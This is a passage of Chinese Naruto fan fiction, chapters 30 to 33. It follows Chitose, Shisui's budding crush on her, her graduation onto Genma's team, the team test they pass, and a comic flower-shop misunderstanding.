越想越不甘心,可他又拉不下脸直说“我也要吃”“不许给木村”,急得心里抓挠,半天憋不出一句正经话。
犹豫了半天,他终于轻轻喊住她:
“千歲。”
“怎么啦?”千歲回头,一脸茫然。
止水憋了半天,憋出一个超级蹩脚的理由,耳朵尖悄悄泛红:
“我家……厕所坏了,能借你家的用一下吗?”
千歲完全没多想,挥挥手就大大方方答应:
“当然可以啦!进来吧!”
30. 第三十章 这份心情到底是友情,还是?
刚踏进家门,止水就感觉一道沉静的目光轻轻落在自己身上,看得他莫名有点发毛。宇智波枭靠在厨房门口,神色淡淡,却自带一股让人不敢乱动的气场。
千歲完全没察觉这微妙的气氛,一进门就挨着止水坐下,小脑袋还朝着厨房的方向嗅个不停:“老爸,松饼什么时候好呀?我都闻到香味啦!”
宇智波枭瞥了一眼黏在一块儿的两人,慢悠悠开口:“就你鼻子最灵,再等五分钟。”
目光一转,落到浑身不自在的止水身上,宇智波枭故意拖长了语调,一字一句清晰道:
“既然来了,就留下一起吃吧。去多拿一副餐具,给你最喜欢的止水。”
“最喜欢”三个字被他刻意加重,听得止水耳朵一热,瞬间如坐针毡。
上次和千歲互换身体时的尴尬画面涌进脑海,他顶着千歲的脸跟枭对话的场景历历在目,后背冒出一阵凉意,恨不得当场找个地缝钻进去。
千歲还傻乎乎地没听出弦外之音,看向身边僵住的人:“啊对了!止水,你不是要上厕所吗?”
“……对!”止水像抓住救命稻草一般,立刻站起身,凭着上次互换身体时的记忆,轻车熟路地绕过客厅,快步钻进了厕所,关门的动作都带着一丝慌乱。
五分钟后,金黄松软的松饼被端上桌,黄油和蜂蜜的甜香飘满整间屋子。
千歲捧着小盘子眼睛发亮,止水也勉强镇定下来坐下,三人围着小小的餐桌,气氛明明温馨,却藏着只有两个当事人懂的紧张。
宇智波枭切着松饼,无意地抬眼,轻飘飘丢出一句:
“止水,应该是第一次来我们家吧?居然还轻车熟路知道厕所在哪。”
这句话瞬间炸得两人僵在原地。
千歲手里的叉子磕在盘子上,差点呛到;止水刚塞进嘴里的松饼直接卡在喉咙里,咳也不是咽也不是,脸颊瞬间涨得通红。
两人对视一眼,都从对方眼里看到了同一句话:
完了,互换身体的事要暴露了!
千歲一看止水快绷不住了,立刻急急忙忙开口解围,脑袋飞速乱转:
“啊、那是因为……止水的查克拉感知很厉害呀!闻一闻就知道哪里是厕所啦!”
宇智波枭握着叉子的手顿了顿,抬眼淡淡扫了她一眼,语气平静却一针见血:
“头一次听说,厕所也有查克拉。”
千歲:“……”
止水赶紧接上,试图圆场:
“是、是因为枭叔叔家的布局,跟我家有点像,我猜的。”
宇智波枭语气依旧云淡风轻,杀伤力却拉满:
“没记错的话,镜大人家的厕所,是在浴室旁边吧。
我家的,在玄关对面。”
止水心里瞬间咯噔一下。
好恐怖的洞察力……连他家布局都记得这么清楚。
千歲眼看两个人都要露馅,急得直接甩出最后一招,闭着眼睛乱编:
“其实……是止水之前趁老爸不在家的时候,来我们家玩过啦!”
这话一出,两人都屏住呼吸,紧张地看着宇智波枭。
一个眼神慌乱,一个嘴角僵硬,活像两只被当场抓住的小松鼠。
宇智波枭看着眼前这两个眼神乱飞、表情写满“我在撒谎”的小家伙,沉默了一秒。
他心里早就跟明镜似的,却也懒得再拆穿他们,只是淡淡拖长语调,装出一副恍然大悟的样子:
“哦……原来是这样。”
一句话落下,千歲和止水同时悄悄松了一大口气,互相偷偷对视一眼,都从对方眼里看到了劫后余生的庆幸。
气氛刚变得平静,大家安安静静吃着松饼,千歲忽然抬起头,问:
“老爸,松饼还有多吗?”
止水耳朵一下竖得笔直,整个人瞬间如临大敌,叉子都停在半空中。
心底疯狂默念:不要有不要有不要有——
宇智波枭淡淡点头:“嗯,松饼粉够多,正好多做了一份。”
千歲瞬间拍手,笑得一脸灿烂:
“太好啦!那帮我装便当盒吧,明天正好带给木村当回礼!”
止水手里的叉子差点没握住。
宇智波枭先是慢悠悠瞥了一眼止水瞬间僵硬的侧脸,把他那点快要写在脸上的委屈和醋意尽收眼底,接着还故意添了把火,语气一本正经:
“是吗……那这一份,多加一点蜂蜜吧。”
止水内心当场碎成一片:
枭大人您不是一向最不放心千歲跟别的男孩子靠近吗??怎么现在还主动成全木村啊——!!
枭看着止水那副快要原地裂开的微表情,嘴角憋得微微发颤,差点没笑出声,转而装作若无其事地问:
“止水,你吃饱了吗?”
止水中午本来就和小队一起吃了大碗拉面,肚子早就撑得圆滚滚,刚才那一块松饼下去,已经快顶到喉咙口了。
可此刻,他看着那份即将属于木村的松饼,眼神一狠,像是下定某种悲壮决心一样,硬着头皮开口:
“没吃饱……我今天出任务,其实什么都没吃。”
千歲一听,立刻心疼地睁大眼睛:
“啊?那也太可怜了吧!那最后一个松饼给止水吃!”
宇智波枭配合地看向他,语气平静:“止水,你可以吗?”
止水挺直背脊,一脸视死如归:
“……我可以。”
再撑,也不能便宜木村。
等到最后一口松饼硬塞下去,止水整个人都晕乎乎的,甚至记不清自己是怎么站起来、怎么走出千歲家大门的。
千歲一边轻轻扶着他,一边歪着头困惑地小声嘀咕:
“止水……一个松饼而已,有那么撑吗?”
止水脸色发白,却还要硬撑着维持风度,声音虚弱又认真:
“因为……枭叔叔做的松饼,太好吃了……所以没忍住。”
而门后的宇智波枭靠在门框上,终于忍不住,低低地笑出了声。
“我扶你去走走吧。”千歲轻轻扶住他的胳膊,语气里满是关心。
止水轻轻应了一声:“嗯。”
两人漫无目的地沿着小路慢慢走,晚风带着青草的气息,不知不觉,竟走到了宇智波族地后方的小山坡上。
这里是整个木叶视野最好的地方,能将全村
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的风景尽收眼底。天色早已沉下,村子里灯火一盏接一盏亮起,暖黄的光连成一片,人声远远飘来,热闹又温柔。
千歲扶着止水,在柔软的草坪上轻轻坐下。
“止水,你还难受吗?”她仰起小脸,眉头轻轻皱着,满眼都是担心。
“比起刚才……好多了。”止水低声回答。看着她为自己紧张的模样,胃里再撑,心底也悄悄泛起甜丝丝的暖意,甚至还有点小小的开心。
下一秒,千歲忽然伸出小手,轻轻按在了他的胃部。
止水的身体瞬间僵得像块石头,连呼吸都在这一刻停滞了。
指尖的温度透过薄薄的衣料传过来,温柔得像一片羽毛,轻轻落在他的心尖上,搅得他整个人都乱了分寸。
“我给你揉揉肚子吧。”千歲说得认真又自然,“我小时候吃撑了,爸爸就是这样帮我揉的,揉一揉就不胀了。”
她的小手轻轻软软的,一下又一下,温柔地打着圈按摩。
止水僵着身子,不敢乱动,连视线都不知道该往哪里放。
千歲的脸近在咫尺,金色的发丝随着微风轻轻扫过他的手臂,带来一阵细微的痒意,从皮肤一路窜到心底。他能清晰看见她垂落的长睫毛,看见她微微抿起的小嘴,看见她专注又担忧的神情——全世界的光亮,仿佛都集中在她一个人身上。
止水的心脏在胸腔里疯狂地跳动,咚咚、咚咚,快得几乎要冲破胸膛。
他不敢动,不敢大声呼吸,甚至不敢直视她太久,只能僵硬地坐着,视线慌乱地飘向远处的灯火,可脑子里却全是她的样子。
这到底是什么感觉……
他在心里一遍遍地问自己,迷茫又无措。
是友情吗?
他和鼬是挚友,和族人以及小队的同伴也亲近,可从来没有哪一刻,会因为一个人的触碰就浑身僵硬;从来没有哪一刻,会因为对方的一句关心就偷偷开心;更没有哪一刻,会因为她对别人好,就莫名地发酸、吃醋、不甘心。
以前他总告诉自己,这只是从小一起长大的在意,是友情里的占有欲。
可此刻,当她的手温柔地贴着他,当她的发丝轻扫他的手臂,当她的呼吸近在咫尺——
所有的自我安慰,全都不堪一击。
他不过是个少年,第一次体会这样汹涌又懵懂的心情,分不清边界,理不清思绪,只知道心里乱糟糟的,甜与涩交织在一起,既慌张,又忍不住贪恋这份温柔。
他喜欢看她笑,喜欢听她叽叽喳喳,喜欢她毫无防备地依赖自己,更喜欢她此刻只为自己担心的模样。这种心情,早就超过了所谓的“伙伴”,超过了“家人”,是独属于她一个人的、青涩又滚烫的心意。
可他还是不敢承认,也不敢戳破。
只能在心底反复纠结:
我真的……喜欢上她了吗?
这不是友情,对不对?
可我该怎么办?
夜色温柔,灯火璀璨,少年的心事藏在晚风里,青涩、懵懂,又小心翼翼。
他看着近在眼前的女孩,第一次清晰地意识到,自己对千歲的心意,早已在不知不觉中,超出了他能控制的范围。
31. 第三十一章 不知火玄间 特别上忍
六月底的太阳晒的毒辣。
忍校一年一度、让所有学生又紧张又期待的毕业考试,终于正式到来了。千歲不例外,心脏砰砰直跳,眼睛死死盯着考官的方向,直到听见“本次毕业考试统一考核:影分身术”时,整个人瞬间松了一大口气。
深吸一口气,千歲稳稳结印,分出的两个影分身虽然不算特别完美,但动作标准、形态清晰,稳稳达到了毕业标准。考官轻轻点头示意合格的那一刻,在心里疯狂庆幸:太好了,还好考的是影分身,不是我最不擅长的火遁。要是考火遁,这次真的要留级了。
旁边的宇智波由里香早就轻轻松松通过,看着千歲那副劫后余生的模样,忍不住翻了白眼,伸手轻轻戳了戳她的额头:“瞧你那点没出息的样,不就是个影分身吗,看把你庆幸的。”
千歲揉了揉额头,一点都不生气,反而满脸都藏不住的骄傲:“反正我通过了。从今天起,我就是独当一面、能出任务的正式忍者了。”
而忍校毕业的老规矩,合格的毕业生会三人组成一队,搭配一名带队上忍,正式开启忍者的修行之路。千歲早就对这件事期待已久,她太想拥有属于自己的小同伴了,像止水那样,和属于自己的小队同伴一起训练、一起任务。
从考试结束的那一刻起,她就寸步不离地黏着和真老师,声音带着满满的急切:“和真老师,提前跟我透露一下呗,我的队友都是谁呀。”
和真老师被她缠得没办法,轻轻弹了下她的脑门:“你急也没用,名单要等到下午正式公布,耐心等着。”
千歲只好乖乖点头,可脑子里早就开始美滋滋地幻想起来。她在心里默默许愿:最好的情况,就是和木村分到一组。他性格好,跟他一组肯定超开心。剩下一个人只要不是由里香那个爱吐槽我的,也不是浅野光那个冷冷的,谁都可以。
下午公布小队名单的时刻,公告板前围满了兴奋又紧张的学生,千歲挤在最前面,眼睛飞快地扫过一个个名字,直到一行字清清楚楚映入眼帘——
第三班:宇智波千歲、宇智波由里香、浅野光
时间仿佛在这一刻静止了。
千歲脸上的笑容瞬间僵住,直挺挺地站在原地,彻底石化。她用力揉了揉眼睛,再看一遍,名单还是没有任何变化。她带着不敢置信的颤抖,几乎是喊出来:“什、什么!?这不是真的吧!”
和真老师不知何时走到了她身边,拍了拍她的肩膀:“第三班的三位同学,你们的带队特别上忍,会在西边的训练场等你们,准时过去集合。”
千歲哪里还顾得上其他,立刻一把抓住和真老师的衣袖:“和真老师!我不要和他们两个一组!换谁都行!”
和真老师看着她崩溃的样子,依旧却坚决地摇了摇头:“别闹,小队名单是火影大人统一安排,不能随意更换。”
一旁的由里香瞬间不乐意了,双手往腰上一叉,语气又气又好笑:“还嫌弃上我了?我和浅野还没嫌你平时冒冒失失拖后腿呢。”
而站在角落的浅野光,全程安安静静,一言不发。上次他跟千歲模拟对战时,被她一时失控重击胸口,在家安安稳稳静养了整整半个月才回到学校,至今心里还留着的阴影。此刻看着千歲这副反应,他更是不敢出声,生怕多说一个字,又不小心惹到这位爆发力惊人的队友。
千岁看着眼前这两位“命中注定”的队友,再想想自己之前天真的愿望,整个人彻底蔫了下来,心里只有一个念头:
我的忍者生涯,好像从毕业第一天,就开始变得无比曲折了……
西侧训练场
千歲、由里香、浅野光三人准时到达西侧训练场,和真说过,他们的特别指导上忍就在这儿等着。
千歲把训练场扫了个遍:
“奇怪,老师在哪儿呢?”
由里香轻轻捋了捋头发,冷静又靠谱:
“上忍老师应该不会迟到吧。”
一旁的浅野光安安静静站着,全程沉默营业。
千歲双手往背后一背,老气横秋地叹了一大口气:
“唉——现在的大人,就是不靠谱~”
小大人的腔调,学得有模有样,不知道从哪学来的。
话音刚落,一道慢悠悠的声音从头顶飘下来:
“现在的小鬼,说话都这么臭屁吗?”
“谁——!”
千歲听闻,四处张望。
由里香和浅野光却几乎同时抬头,一眼锁定高处。
粗壮的树枝上,斜靠着一个男人。
“笨蛋,在上面。”由里香轻轻点了点头顶。
千歲仰起头,金发都跟着晃了晃,
头巾裹着亚麻色短发,一身木叶绿色马甲,嘴角还叼着一根细细的千本,整个人懒懒散散,靠在树上晃悠悠,看上去就不太正经。
“你说谁是小鬼!我是正儿八经的木叶忍者。”
千歲气鼓鼓地仰头大喊。
不知火玄间轻轻一跃,轻飘飘落地,扫了眼前三个小鬼一眼,无奈扶额叹气:
“唉,一个笨蛋,加两个自以为是的小鬼吗。”
“他说谁是笨蛋?”千歲疑惑。
由里香和浅野光都无语的看着千歲。
千歲这才意识过来,瞬间炸毛,一副马上要冲上去理论的小凶样。
玄间默默扶额:
……果然,是个麻烦。
他懒得继续斗嘴,淡淡开口自我介绍:
“不知火玄间,你们的特别指导上忍。”
千歲疑惑:这个吊儿郎当的人,居然是我的指导上忍。
这头巾,明明就是老爷爷戴的吧。还有这亚麻色头发,怎么看都不像正经上忍啊。
她就这么直勾勾地盯着玄间的脸,眼睛一眨不眨,看得人发毛。
玄间被她盯得无奈,挑了挑眉:
“我脸上有字吗?”
千歲:
“玄间老师,怎么嘴里还叼着一根牙签。”
由里香无语到扶额,内心吐槽:
她到底是怎么从忍者学校毕业的,这明明是刃具千本好不好。
玄间目光落在千歲那一头金发和浅琥珀色瞳孔上,
……原来是枭大人的女儿吗。
他又飞快扫了一眼由里香和浅野光,两个孩子安安静静、一看就很聪明。
玄间暗自松了口气:
这两个靠谱多了。
不过火影大人怎么一下子把两个成绩最好的优等生都塞给我了?还附带一个小麻烦。
“玄间老师,玄间老师,你干嘛不理我!”
千歲见他半天不吭声,凑上去一直问。
不知火玄间:
……
好吵。
真的,好吵。
“既然人都到齐了,那就开始吧”
不知火玄间倚着树干,指尖轻轻转着那根千本,漫不经心地扫视过训练场中央的三个新人。
“小队合作。”
他吐出三个字,语气平淡得像是在谈论天气,甚至带着几分漫不经心的嘲讽,“就你们这水平,
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估计连‘三人成行’都做不到。”
千歲不服气的回嘴:“老师,你也太看不起人了吧,都还没看过我们的招数呢”
“吵。”
玄间眼皮都没抬,随手一挥,三枚手里剑精准地插在三人脚边,泥土溅起一点点灰尘。
“规则,三人合力,在十秒内碰到我。任何一个人掉队、倒下或退缩,算全队失败。”
他直起身,绿色马甲下的身形挺拔利落,曾经隶属于四代目护卫小队的压迫感在空气中微微弥散,“我不介意在这里陪你们耗到天黑。”
挑战书已下,气氛瞬间凝重。
由里香眼神锐利,浅野光蓄势待发,而千歲则深吸一口气,握紧了手中的短刀。
“开始。”
玄间的身影几乎是瞬间消失的。
瞬身术。
浅野光反应最快,用水分身快速掠过草地,试图预判轨迹;由里香张开写轮眼双手结印,精准封锁退路。
可千歲呢?她仗着自己身法灵活,像只脱缰的野猫,一个人朝着最显眼的方向猛冲,全然不顾两侧的包抄。
心里想着之前和纲手特训的力量,急着想要在实战中发挥出来。
“笨蛋!左边!”
玄间的声音带着吐槽,侧身躲过浅野光的水分身,指尖轻巧地在千歲的脑门上弹了一下。
“痛——!”
千歲脚下一软,整个人结结实实地摔了个屁股墩,金发散乱,活像只被踩扁的狮子。
这一摔,节奏全乱了。
由里香被迫回防,浅野光的攻势也被牵制,三人瞬间被玄间逐个击破。
“十秒,到。”
玄间落地,双手抱胸,语气里写满了果然如此的失望,“毫无配合,尤其是你,千歲。”
他走到瘫坐在地上的千歲面前,居高临下地看着她。
千歲不服输,浅琥珀色的瞳孔里闪烁着倔强的光,像是一只受了伤还要龇牙的小兽。
“看我干嘛?输了就是输了。”
玄间吐槽,“不想着反思,还用这种眼神瞪人?”
“才没有……”
千歲小声嘟囔,伸手揉了揉摔疼的膝盖,看着身后由里香和浅野光,刚刚那一下如果自己不莽撞的话说不定就成功了。
她声音闷闷的,“只是……觉得,有点对不起他两。”
这句话,像一根细针,轻轻刺破了玄间那层习以为常的冷漠。
他愣了一瞬。
曾经,也是这样的画面。
之前在忍校也是这样一个身影——黑色的短发,一副护目镜。总是大大咧咧喊着要证明自己,哪怕被敌人揍得鼻青脸肿,爬起来第一句却总是问同伴“你没事吧”。
宇智波带土。
那个家伙,也是这样明明笨得要命,却比谁都在意同伴,哪怕自己遍体鳞伤,也不愿拖累队友。
玄间的目光落在千歲那只微微泛红的膝盖上,又移到她倔强的脸上。
金发,浅琥珀色的眼眸……枭大人的女儿,却有着一股与身俱来的、粗线条的温柔。
他沉默了几秒,原本准备好的一堆刻薄话,此刻竟卡在喉咙里吐不出来。
“……起来。”
最终,他只憋出了这两个字,别开视线,以免被她看出那一瞬间的动摇,“重来一次。这一次,再输,你们就等着留到深夜补课。”
千歲立刻撑着地爬起来,拍了拍屁股上的泥土,眼神里流露着决心:
“这次,一定要成功给你看。”
32. 第三十二章 哪怕身躯渺小 同样可以撼动大地
被玄间一指弹飞、重重摔在草地上的千歲,掌心蹭出了细小的血痕,膝盖也阵阵发麻。可这一次,她没有炸毛,没有顶嘴。
曾经隶属四代目护卫小队的玄间,瞬身术快到完全看不清楚动作。
千歲倍感压力。
不靠写轮眼来辅助,根本无从入手。
可是…
千歲想起之前和纲手的约定。
「这份天赋只会滋生你的懒惰」
纲手大人的叮嘱在脑海里清晰回响——不走捷径,不依赖天赋,用自己真正的力量去战斗。
“就算不用写轮眼…我也要赢给你看。”
她撑起身体,拍掉身上的草屑,浅琥珀色的眼眸里不再是任性。
转头看向由里香和浅野光,声音坚定:“这次……我们三个一起。”
由里香一怔,随即立刻点头,双勾玉写轮眼瞳孔锁定玄间的轨迹;浅野光沉默上前一步,指尖凝聚起冰冷的水流,随时准备释放水遁控场。
不知火玄间叼着千本,依旧是那副漫不经心的模样,心里却依旧不抱期待。在他眼里,小鬼们的热血,撑不过三秒。
“开始。”
话音落下的瞬间,玄间的身影化作残影。
由里香率先动手。
“火遁·凤仙火之术”
火焰轰然喷发,灼热的火焰席卷而去;趁着火焰燃起的瞬间,由里香从白烟中突破,她速度极快,手握苦无,宛如疾风一般。
浅野光紧随其后。
“水遁·水链锁”
水遁牢牢锁住地面,限制玄间的落脚之处,他的水遁不断在涌动,不仅仅是为了给玄间制造压迫,更是为了掩护冲锋的由里香。可对上四代目护卫队出身的上忍,依旧不够看。
千歲看着面前的两人配合得天衣无缝,愣住了半秒:
“好强…”
千歲握紧了手中的拳头,自己火遁从来就用不好,水遁也是从未踏足过…
“可现在不是想这些事情的时候…”
千歲随即目光一沉,定睛在玄间身上,她又想起曾经被止水所救,被鼬所护在身后的过往,或许是想要证明自己,告诉他们,再也不是从前那个只需要别人保护的女孩子。
“就算是我,也可以做到。”
玄间轻松踏着火光与水流掠过,瞬身术一闪,直接出现在由里香身后,指尖即将落下——
“由里香,危险!”
千歲瞳孔一缩,想都没想便冲了上去。
她没有用任何宇智波的能力,只是将查克拉疯狂汇聚于拳上。
那是纲手亲传的——怪力。
「把查克拉提炼,从腹部,再到手指,心无杂念,感受查克拉的流向」
「哪怕身躯渺小、力量微薄」
「同样可以撼动大地」
她怒喝一声,拳头带着破风之势,狠狠砸向玄间身侧!
玄间下意识侧身躲开,动作利落依旧。
可下一秒——
“轰隆——!!!”
一声巨响震彻整个西侧训练场!
千歲那一拳没有打中玄间,却重重砸在了地面上。坚硬的泥土瞬间炸裂,碎石飞溅,尘土疯狂翻涌,以她拳头为中心,地面直接塌陷出一个直径近十米的大坑,裂缝像蜘蛛网一样朝四周疯狂蔓延!
空气瞬间死寂。
由里香睁大双眼,写轮眼都微微颤动:“……这是什么?”
浅野光僵在原地:“是和之前一样的怪力……”
就连不知火玄间都猛地顿住身形,亚麻色的瞳孔微微收缩,嘴里的千本差点掉下来。
他彻底愣住了。
这等破坏力……是刚才那个只会叽叽喳喳、被他一指弹飞的小鬼打出来的?
这哪里是下忍,这简直是行走的人形爆破符!
千歲自己也吓了一跳,连忙收回手,想起一件非常可怕的事,上次模拟对战,因为没控制好力度,一拳把浅野光打晕,让他老老实实躺了半个月。
从那以后,她再也不敢对人全力挥拳。
玄间回过神,看着那个大坑,又看向眼前的金发少女,心底掀起惊涛骇浪。
就在玄间失神的刹那——
由里香立刻抓住空隙,手里剑连发封锁视野;
浅野光用水遁·水幕束缚,短暂缠住玄间的动作;
千歲深吸一口气,眼神变得无比认真。
她知道自己不能全力出手,不然会把指导上忍直接打进医院。
所以她选择——收力。
将恐怖的怪力强行压制在指尖,只保留刚好触碰、却不会伤人的微弱力度。
这对查克拉控制力的要求,比全力出拳还要高出数倍!
可那又如何。
查克拉的精准控制,她早就在两个月前和纲手训练时熟记于心,不知道在训练场练了几千次,几万次了。
这是她最得心应手的,大概这辈子也不可能忘记。
「唯有努力,不会背叛你。」
凯老师的话又顿然出现在脑海中。
“我可以的,我能做到!”
“千歲,就是现在!”由里香朝千歲大喊。
千歲纵身跃起,金发在烟尘中划出一道明亮的光。她没有丝毫犹豫,握紧经过精准控制的拳头,朝着不知火玄间的肩膀,轻轻——
“啪。”
一击命中。
没有爆炸,没有塌陷,只有一声轻得几乎听不见的触碰。
可所有人都看得清清楚楚。
她……打中了。
不知火玄间僵在原地,低头看向自己肩膀上那浅浅的一记拳印,再抬头看向气喘吁吁、小脸通红的千歲。
他第一次,彻底说不出吐槽的话。
收力……能把怪力操控到这种地步?
刚才那一拳能砸裂地面,现在这一拳却轻得像羽毛。
这哪里是笨蛋。
这是比谁都温柔、坚定、比谁都有忍者资质的小鬼。
千歲喘着气,小心翼翼地问:“玄间老师……我、我没弄疼你吧?我收力了,怕把你打晕”
玄间:“……”
他沉默了整整三秒,终于缓缓吐出一口气,伸手轻轻按了按自己的眉心,语气里再也没有半分轻视,只剩下复杂的震撼与认可。
“……吵死了。”
“但这一次,你们赢了。”
大坑依旧裂在
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地上,见证着一场不起眼、却足以改变一切的成长。
不知火玄间看着眼前三个少年少女,目光最终停留在金发少女的身上。
他好像……终于明白火影为什么把这三个孩子交给他了。
夕阳把训练场的影子拉得很长,地面还留着千歲那一记怪力砸出的痕迹。
千歲被由里香拉着处理手上的擦伤,叽叽喳喳炫耀自己刚才的一击,浅野光站在一旁,沉默地递过一张止血贴,眼神却比平日里柔和了不少。
不知火玄间靠在不远处的树干上,嘴里的千本轻轻晃动,目光一直落在那个金发蹦跳的身影上,眼底翻涌着许久未曾有过的复杂情绪。
身后传来一阵轻浅的脚步声,银发少年抱着臂,戴着面罩的身影在夕阳下显得格外熟悉,身穿暗部制服的旗木卡卡西慢悠悠走近,目光扫过训练场中央那个显眼的大坑,挑了挑眉。
“看来你的特别指导,进行得很热闹?”卡卡西的声音带着一贯的慵懒,视线落在玄间略显失神的脸上,“从来没见你盯着一群小鬼看这么久。”
玄间缓缓收回目光,语气比平日里低沉了几分,少了几分吊儿郎当,多了几分难得的认真。
“只是觉得……有点意外。”
卡卡西顺着他刚才的视线望去,看向还在嬉闹的千歲,眼底闪过一丝了然,安静地等着他继续说下去。
风轻轻吹过树叶,沙沙的声响像极了多年前,训练场上那些少年们的笑闹。
玄间望着天边渐沉的落日,亚麻色的眼眸里,浮起一层淡淡的怀念。
“那个金发的小鬼,吵吵闹闹,冒冒失失,做事不动脑子,动不动就炸毛,看上去笨得要命。”
他顿了顿,想起刚才地面轰然塌陷的瞬间,想起少女硬生生收住怪力、轻轻碰在他肩上的那一击,想起她倔强又明亮的眼神。
“刚才,她可以动用写轮眼,却硬生生忍住了。用最笨拙、最认真的方式,去配合队友,去保护同伴。”
卡卡西的面罩下,嘴唇微微一僵。
他太清楚这种感觉了。
太清楚了。
玄间缓缓侧过头,看向自己多年的同伴,眼底是从未有过的动容与怅然。
“卡卡西,她太像了。”
“那个喊着要成为火影,总是拖后腿,却比谁都看重同伴的笨蛋。”
“宇智波带土。”
这几个字轻轻落下,像一颗小石子,投进岁月沉寂的湖面,荡开一阵阵难以言状的涟漪。
卡卡西沉默了很久。他再次看向训练场里笑得毫无心事的千歲,原本清冷的眼神,渐渐柔和下来。
“是吗……”
“那倒是,很让人怀念。”
玄间轻轻叹了口气,重新挂上那副酷酷的、怕麻烦的表情。
“吵死了。”
“不过……带着这样的小鬼,好像也不算太无聊。”
两人并肩靠在树干上,没有再多说一句话。
千歲忽然察觉到目光,猛地回头,对着他们的方向用力挥了挥手,金发在暮色里闪闪发光,像一颗小小的、永不熄灭的太阳。
玄间别过脸,假装没看见,嘴角却几不可查地,轻轻弯了一下。
33. 第三十三章 修罗场风波
成为下忍之后,千歲才后知后觉地发现——现实和她想象中的忍者生活,差得简直有十万八千里。
本以为每天都能接到惊险刺激的高级任务,在战场之上大展身手,可现实却是,今天帮药屋店的婆婆进山采草药,明天替大名寻找走失的小虎猫,全是些琐碎又无聊的杂活。
好不容易又结束了除草+采草药的双重任务,千歲、由里香、浅野光三人背着沉甸甸的药草筐,并排走在木叶的街道上,小脸全都垮得一塌糊涂。
千歲把筐子往肩上颠了颠,气鼓鼓地踢着路边的小石子,满脸写着不满:“怎么天天都是这种杂活。这种工作,就算不是忍者也能做好吧,根本一点都不帅气!”
一向冷静理智的由里香居然罕见地附和点头,语气里也带着几分无奈:“真的,还不如在医院帮我妈妈给病人包扎伤口,那样都比这个有成就感多了。”
这还是由里香第一次这么干脆地赞同千歲的话,足以见得这些杂务有多磨人。
一旁的浅野光依旧沉默寡言,没说一个字,但微微皱起的眉头、耷拉下来的眼角,明明白白写着——我也超讨厌采草药。
千歲忍不住把锅甩给了指导老师:“坏玄间老师!把所有杂活都丢给我们,自己不知道躲到哪偷懒去了。”
突然,由里香轻轻戳了戳千歲的胳膊,眼神往街角一瞟,故意拉长了语调:“千歲,你看那边,那不是止水吗?”
千歲顺着她的目光望去,刚想开口,就看见止水身边,还站着一位红发少女。
那人正是漩涡咲。
两人正站在一家花店门前,低头说着什么,气氛看起来格外融洽。因为止水是背对着这边的,只能看清漩涡咲侧脸柔和的笑意。
千歲盯着那道身影,语气平平地解释:“你说她呀,她是和止水同一个小队的队友啦。”
由里香拖长了语调,一副恍然大悟的模样:“哦——原来是这样啊~”
这三人背着比自己还高还大的药草筐,看着不远处的二人。
浅野光的脚步顿住了。
他曾在忍校的定期测验上见过止水。那时候,止水是站在高台上的主考官。可除此之外,他们从未有过任何交集,连一句话都没说过。
千歲和止水交手的那次,他又因为时间紧迫匆匆离去,根本不知道后来发生了什么。
听到千歲和由里香的谈话,一向沉默到近乎透明的他,居然难得开口:
“这是什么情况?”
由里香看向千歲:“那你要问这位了。”
三人走近,刚好能听见花店前的对话。
漩涡咲拿起一束粉红康乃馨:“我觉得这个不错,颜色很漂亮。”
止水侧过头,目光在康乃馨上短暂停留,随即移向旁边一丛金灿灿的向日葵。
他看着那片耀眼的金色,眼神柔和下来,嘴角也不自觉地向上弯了弯,像是透过那束花,看到了某个蹦蹦跳跳、金发如阳光般的身影。
“我倒觉得这边金色的向日葵会好一点哦。”
他的声音里透着一丝不易察觉的温柔,
“看着很有精神。”
漩涡咲顺着他的目光看去,又看了看止水脸上那抹难得的、近乎宠溺的笑意。
漩涡咲看着他难得温柔的样子,脸颊微微泛红:“向日葵也可以……那就听你的吧。”
“交给小咲选就好。”止水回应。
先是由里香,她一脸“莫名其妙”的表情,左手挠了挠脸,右手又指了指远处的两人,心里疯狂吐槽:
这两人什么情况?打情骂俏呢?
结果,千歲背着一筐药草,就站在那儿,眼神干净得像一汪泉水,一脸平静,毫无波澜,甚至还有点发呆。
完全没觉得哪里不对,更没半点吃醋、动摇、别扭的样子。
由里香看得一愣,用胳膊肘轻轻碰她:“你干啥呢?”
千歲一脸茫然地转过头:
“干嘛?我脸上沾到药草了吗?”
由里香在心底默默扶额:
这笨蛋,是真不开窍。
以后铁定要被人吃得死死的。
一旁全程冷静旁观的浅野光,沉默思考了三秒,用他那平直、无波、毫无情商的语气,轻轻吐出一句惊天动地的话:
“止水前辈,是劈腿了吗?”
由里香瞬间僵住,差点呛到。
千歲愣了愣,还一脸认真地歪头:
“劈腿是什么?花不能两束都买吗?”
止水似乎隐约听到这边的动静,微微侧过头。
由里香赶紧一手捂一个,把两个奇葩队友按进药草筐后面,一脸生无可恋。
从头到尾,没心没肺,纹丝不动。
眼看抱着向日葵的漩涡咲和止水并肩朝这边走来,由里香心里咯噔一下,完了,躲不掉了!
她瞬间进入紧急战备状态,一手死死捂住身边浅野光的嘴,恶狠狠地用眼色警告:你情商最低,不准说话!
另一边又压低声音对千歲叮嘱:“你也不准提刚才那个‘劈腿’!
被捂住嘴的浅野光只能用力点头,千歲也一脸茫然地点头,由里香这才稍稍松了口气,强行摆出镇定的表情。
“千歲?”
止水先一步笑着开口,目光落在三人背上比人还高、沉甸甸的药草框上,瞬间了然,眼底的温柔笑意更深了几分:“看来我们千歲,也正式开始出任务了呢。”
漩涡咲盯着小小一只却背着超大药筐的千歲,眼神里满是好奇。
本来就对一堆杂活任务憋了一肚子气的千歲,一听这话,立刻戏精上身,双手往身后一背,摆出一副学来的小大人模样,还煞有介事地长长叹了口气:
“唉……等你到我这个年纪,就懂了。”
空气,瞬间凝固。
由里香:?
浅野光:?
漩涡咲:?
止水愣了一下,轻声“嗯?”了一声,满脸哭笑不得。
由里香实在听不下去这离谱展开,干脆主动出击打破尴尬,抱着手臂看向止水,眼神故意往漩涡咲怀里那束金灿灿的向日葵一瞟,语气带着点小小的调侃:
“止水前辈,还有闲情逛花店?看来上忍的任务,也不过如此嘛。”
止水温和地笑了笑,语气自然又坦然:“和小咲的任务刚好结束,一个月没回村了,顺路过来而已。”
由里香眼睛一眯:“就你们两个?”
“海斗受了重伤,小队战力缺损,目前也只能这样了。”止水顿了顿,又补充到,“这是火影大人的安排。”
由里香听完,猛地转头看向千歲,眼神疯狂暗示,几乎要写在脸上:
这你能忍?
可千歲从头到尾,毫无波澜,稳得像块小木头。
“止水,我们快走吧,待会儿还要去火影大人那里汇报任务呢。”漩涡咲轻轻拽了拽止水的衣袖,语气带着几分催促。
